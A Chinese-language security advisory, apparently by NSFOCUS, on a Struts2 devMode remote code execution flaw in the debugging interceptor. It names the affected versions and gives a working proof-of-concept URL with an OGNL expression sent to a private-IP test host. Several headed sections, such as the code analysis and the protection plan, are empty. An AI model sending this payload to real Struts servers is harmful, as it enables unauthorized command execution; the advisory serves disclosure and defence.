近期研究人员发现当Struts2中的devMode模式设置为true时,存在严重远程代码执行漏洞。如果WEB服务以最高权限运行时,可远程执行任意命令,包括远程控制服务器。

官方已经明确警示用户在发布系统时必须关闭devMode,后续针对此模式的漏洞将不在进入到漏洞处理流程。

官方公告如下:

https://struts.apache.org/docs/devmode.html

经过绿盟科技安全人员分析,发现是一个历史遗留问题。本着对客户负责的态度,绿盟科技针对此漏洞进行应急响应,保证客户系统的安全。

什么是Struts2?

Struts2 是第二代基于Model-View-Controller (MVC)模型的web应用框架。 Struts2是java企业级web应用的可扩展性的框架。它是WebWork和Struts社区合并后的产物。

影响的版本

Struts 2.1.0–2.5.1。

不受影响的版本

漏洞分析

分析的代码版本为2.5.1.

该漏洞主要问题出在src\core\src\main\java\org\apache\struts2\interceptor\debugging\DebuggingInterceptor.java: DebuggingInterceptor类,这个类是调试拦截器,在开启devMode的情况下,会对debug参数的值进行处理,主要代码分析如下:

漏洞利用方法

假设目标为192.168.188.138:8080/helloword.action,访问如下链接即可触发问题:

http://192.168.188.138:8080/helloword.action? debug=command&expression=(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter())!%3D(%23wr.println(%23parameters.content%5B0%5D))!%3D(%23wr.flush())!%3D(%23wr.close())&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=nsfocus
请求返回的结果中会包含nsfocus字符,或者访问如下链接执行网路状态命令:

漏洞利用条件

在服务端开启debug模式下,直接与服务端交互即可。但由于需开启debug模式(默认情况下不开启),所以影响程度不大。

防护方案

声 明

本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。

关于绿盟科技

北京神州绿盟信息安全科技股份有限公司(简称绿盟科技)成立于2000年4月,总部位于北京。在国内外设有30多个分支机构,为政府、运营商、金融、能源、互联网以及教育、医疗等行业用户,提供具有核心竞争力的安全产品及解决方案,帮助客户实现业务的安全顺畅运行。

基于多年的安全攻防研究,绿盟科技在网络及终端安全、互联网基础安全、合规及安全管理等领域,为客户提供入侵检测/防护、抗拒绝服务攻击、远程安全评估以及Web安全防护等产品以及专业安全服务。

北京神州绿盟信息安全科技股份有限公司于2014年1月29日起在深圳证券交易所创业板上市交易,股票简称:绿盟科技,股票代码:300369。

如果您需要了解更多内容,可以
加入QQ群:486207500、570982169
直接询问:010-68438880-8669

源链接

Hacking more

...